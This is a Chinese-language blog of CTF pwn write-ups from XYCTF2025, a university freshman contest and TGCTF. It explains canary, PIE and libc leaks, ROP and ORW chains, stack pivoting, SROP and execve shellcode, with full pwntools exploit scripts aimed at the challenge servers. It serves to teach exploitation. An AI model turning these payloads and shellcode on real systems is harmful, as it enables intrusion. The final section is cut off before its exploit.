国内比赛

XYCTF2025

girlfirend

check发现保护全开,有菜单但是似乎不是堆题

发现有system("echo /flag"); 但是没有/bin/sh

解析各个选择

1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 lll1()
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( dword_4094 )
{
puts("You have already tried to talk to her, and she left...");
}
else
{
dword_4094 = 1;
puts("Girl is very beautiful!");
puts("what do you want to say to her?");
read(0, buf, 0x50uLL);
printf("You say: %s\n", buf); // 泄露canary或者libc
puts("but she left.........");
}
return 0LL;
}

发现有栈溢出漏洞,后接printf可以利用该处输出canary的值,因为canary的低字节一般是\x00会将%s截断但是不确定在调用另一个函数后该值是否发生改变Canary 值在程序运行时是固定的,不会随着函数调用而改变。

2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 get_flag2()
{
char v1; // [rsp+Fh] [rbp-1h]

puts("Do you want to buy her flowers?");
puts("Y/N");
v1 = getchar();
while ( getchar() != 10 )
;
if ( v1 == 'Y' || v1 == 'y' )
{
if ( dword_4090 <= 200 )
{
puts("you don't have enough money");
}
else
{
puts("You did it!\n");
system("echo /flag"); // 拿flag
}
}
else
{
printf("what a pity!");
}
return 0LL;
}

关键函数,如果输入Y且dword_4090>200即可到达system函数,但是此处不能直接输出flag或者提权也没有/bin/sh想尝试将其参数传为/bin/sh

3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 lll3()
{
if ( dword_4098 <= 1 )
{
++dword_4098;
puts("You should tell her your name first");
read(0, buf, 0x100uLL);
puts("your name:");
printf(buf);
puts("You also get her name: XM");
puts("Good luck!");
}
else
{
puts("You can only introduce yourself twice.");
}
return 0LL;
}

该函数也存在溢出可用其修改dword_4090的值使其能运行到system函数,存在格式化字符串漏洞,可以把/bin/sh写到bss段用该处泄露基地址(因为开了PIE bss段的地址无法确定)

4没啥用

开了沙箱:

注意在调用read时fd也就是第一个参数只能等于0所以得先用close(0)关闭标准输入,使得在read(0,xxx,xxx)时文件指针0能够重定向到opeanat()所打开的那个文件使得flag正常读入

1

大致思路目前是这样的,首先利用3测格式化字符的偏移尝试输出elf基地址绕过PIE,输出canary,输出函数真实地址拿到libc,接着利用3构造rop链因为没有/bin/sh且禁用了execve所以选择用orw,但是opean也被禁用了但可以用opeanat代替,最后用1进行栈迁移到利用3布置的rop链上

注意在开启了PIE之后gdb调试时无法直接在main函数处下断点需要借助b *$rebase(要下断点的偏移)当然得先让程序跑起来,ida中显示的地址即为偏移

canary:

printf处存在格式化字符漏洞,可以通过输入改变printf调用时rdi的值也就是格式字符串,printf的格式字符串防在rdi中,后续对应的参数前5个放在寄存器里,也就是RSI RDX RCX R8 R9后续参数存放到栈上由低地址到高地址。

调用printf函数时的寄存器情况以及栈情况:

1

可以发现rdi成功变成了我们输入的格式字符,RSI RDX R8 R9中的内容都没有我们想要的那么看栈上的

1

可以发现第7个参数是mov edi,1的地址可以用这个泄露elf基地址,我们用泄露出来的地址减去该汇编对应偏移就是基地址

IDA中找到该条汇编,偏移为0x18D9

1

第15个很明显是canary的值因为低字节是’\x00’,为什么确定canary是该处的值呢我们调用1再来看看栈上确定该canary

1

这里运行到1中获取输入后,可以看到栈上0x7fffffffdfc8对应的值即为canary,因为其在rbp-8处

ibc基址我们选择用第17个参数也就是(__libc_start_call_main+128)的地址先输出一次获取后三位,再通过网址寻找对应libc版本。注意我们只能用__libc_start_call_main搜所以要将得到的后三位减去128

1

故为0xD90-128=0xD10搜索到实际为这个libc database search

但是此处找libc基址反而是用的mov edi,eax这条指令的偏移来找的,我尝试用__libc_start_call_main的偏移来定基地址但是打不通,怪怪的,而mov edi,eax我用ROPgadget去找没找到只有用IDA打开libc文件一个个去试试出来其对应偏移为0x29D90

所以我们的格式字符即为%7$p_%15$p_%17$p

1
2
3
4
5
6
7
8
9
10
11
12
13
io.sendlineafter("Your Choice:\n", str(3))
io.sendlineafter("You should tell her your name first",b'%7$p...%15$p...%17$p...')

io.recvuntil(b'\nyour name:\n')
elf_base = int(io.recvuntil(b'...',drop=True),16)-0x18D9
print(b'pie>>>'+hex(elf_base).encode('utf-8'))

canary = int(io.recvuntil(b'...',drop=True),16)
print(b'canary>>>'+hex(canary).encode('utf-8'))

libc_base = int(io.recvuntil(b'...',drop=True),16)-0x29D90
print(b'libc>>>'+hex(libc_base).encode('utf-8'))

接着再次用3来构造rop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
payload = flat([
'flag\x00\x00\x00\x00',0,
0,0,
0,0,
0,pop_rdi_ret,
0,close_addr,
pop_rdi_ret,-100,
pop_rsi_ret,bss_addr,
pop_rdx_r_ret,0x0,0,
opnat_addr,
pop_rdi_ret,0,
pop_rdx_r_ret,0x100,0,
read_addr,
pop_rdi_ret,1,
pop_rdx_r_ret,0x100,0,
pop_rax_ret,1,
write_addr,
])

首先将’flag’填充到8个字节压到byte_4060处后面的6个零是为了不将关键ROP覆盖到那几个bss段上的全局变量上防止后面运行不起来,加上flag总共0x38个字节,接着就是orw

1
2
3
4
close(0)
opeanat(-100,bss_addr,0) //-100表示当前工作目录
read(0,bss_addr,0x100)
write(1,bss_addr,0x100)

注意rop链刚好100字节不能用sendline发送会多一个字节,所以我们都使用send发送

最后就是栈迁移了

1
payload1 = b'a'*0x38 + p64(canary) + p64(bss_addr+0x30)+p64(leave_ret)

因为迁移后rsp会在rbp基础上+8所以rbp只设置为bss_addr+0x30

2025-4-10浮现了7-8个小时第一次浮现出全保护的题并且全部搞懂非常开心~~

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *


io = remote('gz.imxbt.cn',20623)

elf = ELF("./pwn")
libc=ELF("./libc2.so")
context(arch='amd64', os='linux', log_level='debug')

#io = process("./pwn")

io.sendlineafter("Your Choice:\n", str(3))
io.sendlineafter("You should tell her your name first",b'%7$p...%15$p...%17$p...')

io.recvuntil(b'\nyour name:\n')
elf_base = int(io.recvuntil(b'...',drop=True),16)-0x18D9
print(b'pie>>>'+hex(elf_base).encode('utf-8'))

canary = int(io.recvuntil(b'...',drop=True),16)
print(b'canary>>>'+hex(canary).encode('utf-8'))

libc_base = int(io.recvuntil(b'...',drop=True),16)-0x29D90
print(b'libc>>>'+hex(libc_base).encode('utf-8'))


bss_addr = elf_base + 0x004060
pop_rdi_ret = libc_base + 0x000000000002a3e5#: pop rdi; ret;
pop_rsi_ret = libc_base + 0x0000000000130202#: pop rsi; ret;
pop_rdx_r_ret = libc_base + 0x000000000011f2e7#: pop rdx; pop r12; ret;
pop_rax_ret = libc_base + 0x0000000000045eb0#: pop rax; ret;
pop_rcx_ret = libc_base + 0x000000000003d1ee#: pop rcx; ret;
syscall_ret = libc_base + 0x0000000000091316#: syscall; ret;
leave_ret = libc_base + 0x000000000004da83#: leave; ret;
opnat_addr = libc_base + libc.sym['openat']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
close_addr = libc_base + libc.sym['close']


payload = flat([
'flag\x00\x00\x00\x00',0,
0,0,
0,0,
0,pop_rdi_ret,
0,close_addr,
pop_rdi_ret,-100,
pop_rsi_ret,bss_addr,
pop_rdx_r_ret,0x0,0,
opnat_addr,
pop_rdi_ret,0,
pop_rdx_r_ret,0x100,0,
read_addr,
pop_rdi_ret,1,
pop_rdx_r_ret,0x100,0,
pop_rax_ret,1,
write_addr,
])

io.sendlineafter("Your Choice:\n", str(3))
io.sendafter("You should tell her your name first",payload)
io.recvuntil("your name:\n")

payload1 = b'a'*0x38 + p64(canary) + p64(bss_addr+0x30)+p64(leave_ret)


io.sendlineafter("Your Choice:\n", str(1))
io.sendafter("what do you want to say to her?",payload1)
io.interactive()

Ret2libc’s Revenge

一题看似简单的libc,实则不简单

checksec

1
2
3
4
5
6
7
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 revenge()
{
int v0; // eax
char v2[528]; // [rsp+0h] [rbp-220h]
int v3; // [rsp+210h] [rbp-10h]
char v4; // [rsp+217h] [rbp-9h]
int v5; // [rsp+218h] [rbp-8h]
int v6; // [rsp+21Ch] [rbp-4h]

v5 = 0;
while ( !feof(stdin) )
{
v4 = fgetc(stdin);
if ( v4 == 10 )
break;
v0 = v6++;
v5 = v0;
v2[v0] = v4;
}
v3 = v6;
v2[v6] = 0;
return v3;
}

main函数就是简单的用puts输出了一段内容然后调用漏洞函数,漏洞函数逐个字符循环读取键盘输入到v2中存在栈溢出,但是这道题难在没有关键gadget:”pop rdi;ret”导致无法直接构造rop链泄露libc版本,唯一一个pop只有pop rbp可能只能靠这个来传参然后就卡住了

浮现版:

观察发现revenge函数内存在数组溢出,注意缓冲区的设置

1
2
3
4
5
6
7
__int64 init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 0, 0LL);
setvbuf(stderr, 0LL, 0, 0LL);
return 0LL;
}

输入流设置的无缓冲,输出流设置的全缓冲

1

程序中并没有fflush函数,想要改变setbuf的参数也比较困难故选择将缓冲区填满使得我们能够用puts泄露出其实际地址来找libc

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

from pwn import *
context(arch='amd64',log_level='debug')

#io = process('./pwn')
io = remote("47.94.103.208",22660)
elf = ELF('./pwn')
libc = ELF("./libc1.so")
# gdb.attach(io)
s = lambda data :io.send(data)
sa = lambda text,data :io.sendafter(text, data)
sl = lambda data :io.sendline(data)
sla = lambda text,data :io.sendlineafter(text, data)
r = lambda num=4096 :io.recv(num)
rl = lambda :io.recvline()
ru = lambda text :io.recvuntil(text)
uu32 = lambda :u32(io.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
uu64 = lambda :u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
inf = lambda s :info(f"{s} ==> 0x{eval(s):x}")


bss = 0x404100


gadget1 = 0x0000000000401180#'''mov rdi, rsi ; ret'''
xor_rsi = 0x00000000004010e4#'''and rsi, 0 ; ret'''将rsi清零
add_rsi_rbp20 = 0x00000000004010eb#add rsi, dword ptr [rbp + 0x20] ; ret
rbp = 0x000000000040117d#'''pop rbp ; ret'''
ret =0x000000000040101a
magic = 0x00000000004010eb#add rsi, dword ptr [rbp + 0x20] ; ret

pay = b'a'*0x218+b'\x18'+b'\x02'+b'\x00'*2+b'\x1d'+b'\x02'+b'\x00'*2+p64(bss+0x220)+p64(0x401207)
sl(pay)
ret = 0x000000000040101a


pay = b'a'*(0x200-8)+p64(0x404060)+p64(0x404018)+p64(0)*2+b'\x18'+b'\x02'+b'\x00'*2+b'\x1d'+b'\x02'+b'\x00'*2+p64(0x404300-0x20)\
+p64(xor_rsi)+p64(add_rsi_rbp20)+p64(gadget1)+p64(0x401070)\
+p64(rbp)+p64(0x4042e0-0x20)+p64(xor_rsi)+p64(add_rsi_rbp20)+p64(gadget1)+p64(xor_rsi)+p64(0x4010a0)+p64(rbp)+p64(bss+0x420)+p64(0x401207)
sl(pay)
rl()
puts = u64(rl()[:-1].ljust(8,b'\x00'))
inf('puts')
libc.address = puts - libc.sym['puts']
system = libc.sym['system']

# gdb.attach(io,'directory /home/yxhueimie/Desktop/glibc_source/glibc-2.35/libio\nb *0x401261\nc')
pay = b'a'*(0x200-8)+p64(0x404758)+p64(0x404018)+p64(0)*2+b'\x18'+b'\x02'+b'\x00'*2+b'\x1d'+b'\x02'+b'\x00'*2+p64(0x4044f8-0x20)+p64(xor_rsi)+p64(add_rsi_rbp20)+p64(gadget1)+p64(ret)*2+p64(ret)*0x40+p64(system)+b'/bin/sh\x00'
sl(pay)



io.interactive()

商丘师范学院新生赛4.7

浅红欺醉粉,肯信有江梅

nc连接直接ls``cat

1

领取你的小猫娘

简单栈溢出

exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
io=process('./pwn')
io=remote('challenge.qsnctf.com',30010)
elf=ELF('./pwn')

system=0x40121B
payload=b'a'*(0x50+8)+p64(system)
io.sendline(payload)

io.interactive()

当时只道是寻常

主要汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000000000401000 48 83 EC 08                   sub     rsp, 8
.text:0000000000401004 B8 01 00 00 00 mov eax, 1
.text:0000000000401009 BF 01 00 00 00 mov edi, 1 ; fd
.text:000000000040100E 48 BE 00 20 40 00 00 00 00 00 mov rsi, offset msg ; buf
.text:0000000000401018 BA 3A 00 00 00 mov edx, 3Ah ; ':' ; count
.text:000000000040101D 0F 05 syscall ; LINUX - sys_write
.text:000000000040101F B8 00 00 00 00 mov eax, 0
.text:0000000000401024 BF 00 00 00 00 mov edi, 0 ; fd
.text:0000000000401029 48 89 E6 mov rsi, rsp ; buf
.text:000000000040102C BA 00 04 00 00 mov edx, 400h ; count
.text:0000000000401031 0F 05 syscall ; LINUX - sys_read
.text:0000000000401033 BA 08 00 00 00 mov edx, 8 ; count
.text:0000000000401038 B8 01 00 00 00 mov eax, 1
.text:000000000040103D BF 01 00 00 00 mov edi, 1 ; fd
.text:0000000000401042 48 89 E6 mov rsi, rsp ; buf
.text:0000000000401045 0F 05 syscall ; LINUX - sys_write
.text:0000000000401047 5D pop rbp
.text:0000000000401048 C3 retn

伪代码

1
2
3
4
5
6
7
8
9
10
signed __int64 start()
{
signed __int64 v0; // rax
signed __int64 v1; // rax
char v3[8]; // [rsp+0h] [rbp-8h] BYREF

v0 = sys_write(1u, &msg, 58uLL);
v1 = sys_read(0, v3, 0x400uLL);
return sys_write(1u, v3, 8uLL);
}

+asdfghjkZ现场v不那么,。/l一开始看到是系统调用read有点蒙,直接用gdb调试

有/bin/sh存在栈溢出,什么保护都没开但不能直接构造rop链gadget不太够用这里尝试伪造栈帧通过系统调用sys_rt_sigreturn 改变寄存器状态从而系统调用execve(“/bin/sh,0,0”)

要系统调用execve(“/bin/sh,0,0”)需要控制以下寄存器

1
2
3
4
rdi --> /bin/sh地址(题目中给到了)
rsi --> 0
rdx -->0
rax -->3b

故通过伪造信号帧的方式来调整寄存器的值

先利用已有gadget进行系统调用 sys_rt_sigreturn

1
payload=b'a'*0x8+p64(pop_rax)+p64(0xf)+p64(syscall)

因为是系统调用read只在最后有pop rbp ret的操作故栈上前8个字节会弹到rbp中rsp+8,原rbp处变成了返回地址弹到rip中,故只填充8个字节pop_rax会被放到rip中执行

利用pwntool库中的SigreturnFrame函数伪造信号帧并将其转换为字节序列压入栈中

1
2
3
4
5
6
7
8
fake = SigreturnFrame()  
fake.rax = 0x3b
fake.rdi = 0x40203A
fake.rdx = 0
fake.rsi = 0
fake.rsp = 0x402044
fake.rip = 0x401045
payload+=bytes(fake)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import*
context.update(arch='amd64',os='linux',log_level='debug')
#context.terminal=['qterminal','-e']
debug=1
if debug:
p=process('./pwn01')
else:
p=remote('challenge.qsnctf.com',30956)
pop_rax=0x000000000040104a
bin_sh=0x40203a
payload=b'a'*8
payload+=p64(pop_rax)
payload+=p64(0xf)
payload+=p64(0x401045)
fake = SigreturnFrame()
fake.rax = 0x3b
fake.rdi = 0x40203A
fake.rdx = 0
fake.rsi = 0
fake.rsp = 0x402044
fake.rip = 0x401045
payload+=bytes(fake)
+gdb.attach(p)
p.send(payload)
p.interactive()

我觉君非池中物,咫尺蛟龙云雨

虽然保护全开但是用 mprotect函数使得bss段可读写执行故直接写shellcode即可

注意要小于0x30个字节我用了个24字节的

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
#io=process('./pwn')
io=remote('challenge.qsnctf.com',32618)
elf=ELF('./pwn')

payload = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
#gdb.attach(io,'b* 0x401031')

# 打印或发送payload
print(payload)
io.recvuntil('window.')
io.sendline(payload)

io.interactive()

江南无所有,聊赠一枝春

简单ret2text

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
#io=process('./pwn01')
io=remote('challenge.qsnctf.com',32599)

gift = 0x4011DC

payload=b'a'*(0x40+0x8)+p64(gift)

io.sendline(payload)

io.interactive()

TGCTF

签到

简单的签到题,栈溢出构造rop链泄露libc基地址接着构造system(/bin/sh)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import*
from LibcSearcher import*
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=remote('node1.tgctf.woooo.tech',32243)
libc = ELF('./libc.so.6')
elf=ELF('./pwn')
main=elf.symbols['main']
puts_got=elf.got['puts']
puts_plt=0x401060
pop_rdi_ret=0x401176
ret=0x40101a
payload=b'a'*(0x70+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)

io.sendline(payload)
puts=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

print(hex(puts))


libc_base=puts-libc.symbols['puts']
system=libc_base+libc.symbols['system']
bin_sh=libc_base+0x1d8678

payload1=b'a'*(0x70+8)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)
io.sendline(payload1)


io.interactive()

shellcode

checksec

1
2
3
4
5
6
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

题目提示够用了仔细看寄存器

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall main(int a1, char **a2, char **a3)
{
void *buf; // [rsp+8h] [rbp-8h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("hello hacker");
puts("try to show your strength ");
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
read(0, buf, 18uLL);
mprotect(buf, 0x1000uLL, 4);
sub_11C9(buf);
return 0LL;
}

buf位于栈上被改为可读可写可执行,后续buf作为参数被传入rdi中调用sub_11C9函数,汇编如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
.text:00000000000011C9 F3 0F 1E FA                   endbr64
.text:00000000000011CD 55 push rbp
.text:00000000000011CE 48 89 E5 mov rbp, rsp
.text:00000000000011D1 41 57 push r15
.text:00000000000011D3 41 56 push r14
.text:00000000000011D5 41 55 push r13
.text:00000000000011D7 41 54 push r12
.text:00000000000011D9 53 push rbx
.text:00000000000011DA 48 89 7D D0 mov [rbp+var_30], rdi
.text:00000000000011DE 48 8B 7D D0 mov rdi, [rbp+var_30]
.text:00000000000011E2 48 31 C0 xor rax, rax
.text:00000000000011E5 48 31 DB xor rbx, rbx
.text:00000000000011E8 48 31 C9 xor rcx, rcx
.text:00000000000011EB 48 31 D2 xor rdx, rdx
.text:00000000000011EE 48 31 F6 xor rsi, rsi
.text:00000000000011F1 4D 31 C0 xor r8, r8
.text:00000000000011F4 4D 31 C9 xor r9, r9
.text:00000000000011F7 4D 31 D2 xor r10, r10
.text:00000000000011FA 4D 31 DB xor r11, r11
.text:00000000000011FD 4D 31 E4 xor r12, r12
.text:0000000000001200 4D 31 ED xor r13, r13
.text:0000000000001203 4D 31 F6 xor r14, r14
.text:0000000000001206 4D 31 FF xor r15, r15
.text:0000000000001209 48 31 ED xor rbp, rbp
.text:000000000000120C 48 31 E4 xor rsp, rsp
.text:000000000000120F 48 89 FF mov rdi, rdi
.text:0000000000001212 FF E7 jmp rdi
.text:0000000000001212
.text:0000000000001212 sub_11C9 endp

会将除RDI RIP外的所有寄存器清零故在设置execve(‘/bin/sh,0,0’)时我们不用管rsi和rdx,只用看rdi和rax就好了,关键在于如何让rdi的值为/bin/sh的地址,注意只能是/bin/sh的地址,因为execve的各个参数都是指针,如果直接将/bin/sh这个具体字符赋值给rdi函数会无法解析,选择将/bin/sh写在buf上,然后通过rsp传递/bin/sh

1
2
3
4
lea rsp, [rdi + 11]   ;4字节将rdi指向的地址加上 11后的结果赋值给rsp(刚好指向/bin/sh)
mov rdi,rsp ;3字节将rsp的值赋给rdi
mov al,0x3b ;2字节将rax的值设置为0x3b
syscall ;2字节系统调用

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=remote('node2.tgctf.woooo.tech',30243)
#io = process('./pwn')
elf=ELF('./pwn')
shellcode = asm('''
lea rsp, [rdi + 11]
mov rdi,rsp
mov al,0x3b
syscall
''')
payload = shellcode+ b'/bin/sh'

#gdb.attach(io)
io.send(payload)
#pause()

io.interactive()

新姿势:lea用于计算内存地址并将结果存储在目标寄存器中,相较于先add再mov更省字节

stack

checksec

1
2
3
4
5
6
7
桌面$ checksec pwn            
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

main函数

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall main(int a1, char **a2, char **a3)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
std::operator<<<std::char_traits<char>>(&std::cout, "welcome! could you tell me your name?\n");
read(0, &unk_404060, 0xA8uLL);
std::operator<<<std::char_traits<char>>(&std::cout, "what dou you want to say?\n");
sub_4011FA();
return 0LL;
}

sub_4011FA()函数

1
2
3
4
5
6
7
8
9
void *sub_4011FA()
{
signed __int64 v0; // rax
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
void *retaddr; // [rsp+48h] [rbp+8h]

v0 = sys_read(0, buf, 0x50uLL);
return retaddr;
}

sub_4011FA()函数很明显存在栈溢出但是要构造rop链来泄露libc明显不太够main函数中还有个read可以读很多数据到data段

data段从unk_404060开始

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
.data:0000000000404060 00                            unk_404060 db    0                      ; DATA XREF: main+62↑o
.data:0000000000404061 00 db 0
.data:0000000000404062 00 db 0
.data:0000000000404063 00 db 0
.data:0000000000404064 00 db 0
.data:0000000000404065 00 db 0
.data:0000000000404066 00 db 0
.data:0000000000404067 00 db 0
.data:0000000000404068 00 db 0
.data:0000000000404069 00 db 0
.data:000000000040406A 00 db 0
.data:000000000040406B 00 db 0
.data:000000000040406C 00 db 0
.data:000000000040406D 00 db 0
.data:000000000040406E 00 db 0
.data:000000000040406F 00 db 0
.data:0000000000404070 00 db 0
.data:0000000000404071 00 db 0
.data:0000000000404072 00 db 0
.data:0000000000404073 00 db 0
.data:0000000000404074 00 db 0
.data:0000000000404075 00 db 0
.data:0000000000404076 00 db 0
.data:0000000000404077 00 db 0
.data:0000000000404078 00 db 0
.data:0000000000404079 00 db 0
.data:000000000040407A 00 db 0
.data:000000000040407B 00 db 0
.data:000000000040407C 00 db 0
.data:000000000040407D 00 db 0
.data:000000000040407E 00 db 0
.data:000000000040407F 00 db 0
.data:0000000000404080 00 db 0
.data:0000000000404081 00 db 0
.data:0000000000404082 00 db 0
.data:0000000000404083 00 db 0
.data:0000000000404084 00 db 0
.data:0000000000404085 00 db 0
.data:0000000000404086 00 db 0
.data:0000000000404087 00 db 0
.data:0000000000404088 00 db 0
.data:0000000000404089 00 db 0
.data:000000000040408A 00 db 0
.data:000000000040408B 00 db 0
.data:000000000040408C 00 db 0
.data:000000000040408D 00 db 0
.data:000000000040408E 00 db 0
.data:000000000040408F 00 db 0
.data:0000000000404090 00 db 0
.data:0000000000404091 00 db 0
.data:0000000000404092 00 db 0
.data:0000000000404093 00 db 0
.data:0000000000404094 00 db 0
.data:0000000000404095 00 db 0
.data:0000000000404096 00 db 0
.data:0000000000404097 00 db 0
.data:0000000000404098 00 db 0
.data:0000000000404099 00 db 0
.data:000000000040409A 00 db 0
.data:000000000040409B 00 db 0
.data:000000000040409C 00 db 0
.data:000000000040409D 00 db 0
.data:000000000040409E 00 db 0
.data:000000000040409F 00 db 0
.data:00000000004040A0 01 00 00 00 00 00 00 00 qword_4040A0 dq 1 ; DATA XREF: sub_4011FA-2A↑r
.data:00000000004040A8 ; unsigned int fd
.data:00000000004040A8 01 00 00 00 00 00 00 00 fd dq 1 ; DATA XREF: sub_4011FA-23↑r
.data:00000000004040B0 00 db 0
.data:00000000004040B1 00 db 0
.data:00000000004040B2 00 db 0
.data:00000000004040B3 00 db 0
.data:00000000004040B4 00 db 0
.data:00000000004040B5 00 db 0
.data:00000000004040B6 00 db 0
.data:00000000004040B7 00 db 0
.data:00000000004040B8 ; size_t count
.data:00000000004040B8 0B 00 00 00 00 00 00 00 count dq 0Bh ; DATA XREF: sub_4011FA-19↑r
.data:00000000004040C0 ; char buf[72]
.data:00000000004040C0 00 00 00 00 00 00 00 00 00 00+buf db 48h dup(0) ; DATA XREF: sub_4011FA-3C↑o
.data:00000000004040C0 00 00 00 00 00 00 00 00 00 00+ ; sub_4011FA-31↑o
.data:0000000000404108 2F 62 69 6E 2F 73 68 00 aBinSh db '/bin/sh',0

发现了/bin/sh地址,先记录后续应该用的上,溢出字节数够我们可以覆盖很多内容:qword_4040A0 dq 1;fd dq 1 ;count dq 0Bh 这三个参数很可疑汇编里找找它在哪

sub_4011FA

1

发现当[rbp+8]处的内容和[rbp+0x28]处的内容不一样时会跳转到loc_4011B6这个函数

找到这个函数就在sub_4011FA汇编的上面,但是没有对应的函数名称所以在左侧函数名称栏看不到

1

发现了刚刚我们可以覆盖的那几个参数,分别对应rax ,rdi,rdx,其中通过gdb调试发现rsi的地址是指向0的指针,所以我们可以通过第一个read来覆盖特定参数达到execve(‘/bin/sh,0,0’)

当[rbp+8]处的内容和[rbp+0x28]处的内容不一样时才会跳转到loc_4011B6这个函数,在未栈溢出覆盖时这两个地方的值是一样的所以我们要覆盖掉rbp+8处的内容使函数能正常跳转

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=remote('node1.tgctf.woooo.tech',30764)
#io = process('./pwn')
#libc = ELF('./libc.so.6')
elf=ELF('./pwn')
bin_sh=0x404108

qword_4040A0_offset = 0x40 # 64 字节
fd_offset = 0x48 # 72 字节
count_offset = 0x58
# 构造 payload
payload = b'A' * qword_4040A0_offset # 填充到 qword_4040A0 的偏移量
payload += p64(0x3b) # 写入 0x3b
payload += b'B' * (fd_offset - qword_4040A0_offset - 8) # 填充到 fd 的偏移量
payload += p64(0x404108) # 写入 0x404108
payload += b'C' * (count_offset - fd_offset - 8) # 填充到 count 的偏移量
payload += p64(0x0000000000000000)




io.send(payload)
payload = b'a'*(0x40)+b'12345678'*2
#gdb.attach(io)
io.sendafter(b'want to say?\n',payload)

#pause()

io.interactive()

overflow

checksec

1
2
3
4
5
6
7
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

check版本老了,实际上没开canary因为静态编译所以误检测了,程序是静态编译的,两段输入第一段通过read读到bss段上可以读0x100个字节,第二段gets读入栈上可以栈溢出控制执行流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[200]; // [esp+0h] [ebp-D0h] BYREF
int *p_argc; // [esp+C8h] [ebp-8h]

p_argc = &argc;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr[0], 0, 2, 0);
puts("could you tell me your name?");
read(0, name, 0x100);
puts("i heard you love gets,right?");
gets(buf);
return 0;
}

目前思路在name处写下rop链进行ret2syscall系统调用execve(‘/bin/sh’,0,0),gets处构造溢出控制执行流即可

因为是全静态编译,gets函数也是静态构造的没有link,所以通过gdb调试进入到gets函数来找偏移

1

前面还有一个 _uflow 函数调用获取一个字符所以我们的输入起始地址是0xfffd048继续调式

可以看到运行到gets函数结束时旧的ebp在0xffffd118处距离输入即为0xD0这个数据和IDA上的相同但是想要控制执行流并不能将返回地址覆盖在0xD0+4+4处因为main函数汇编ret这里有点不一样

1

我们先找esp因为最后retn是pop eip将esp指向的地址弹给执行流,来到080498C0处也就是lea esp,[ebp - 8]ebp是我们可控的,esp现在的地址是[ebp - 8]处紧接着pop ecx将该处前4个字节弹给ecx后面还要弹两个但是用处不大,就到了0x080498C6处lea esp,[ecx - 4]此时esp的值被改为了[ecx - 4]也就是[ebp - 8 -4]处所以我们要将返回地址放到[ebp-8]处才能跳转且返回地址的值要加4才是正确的返回地址

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
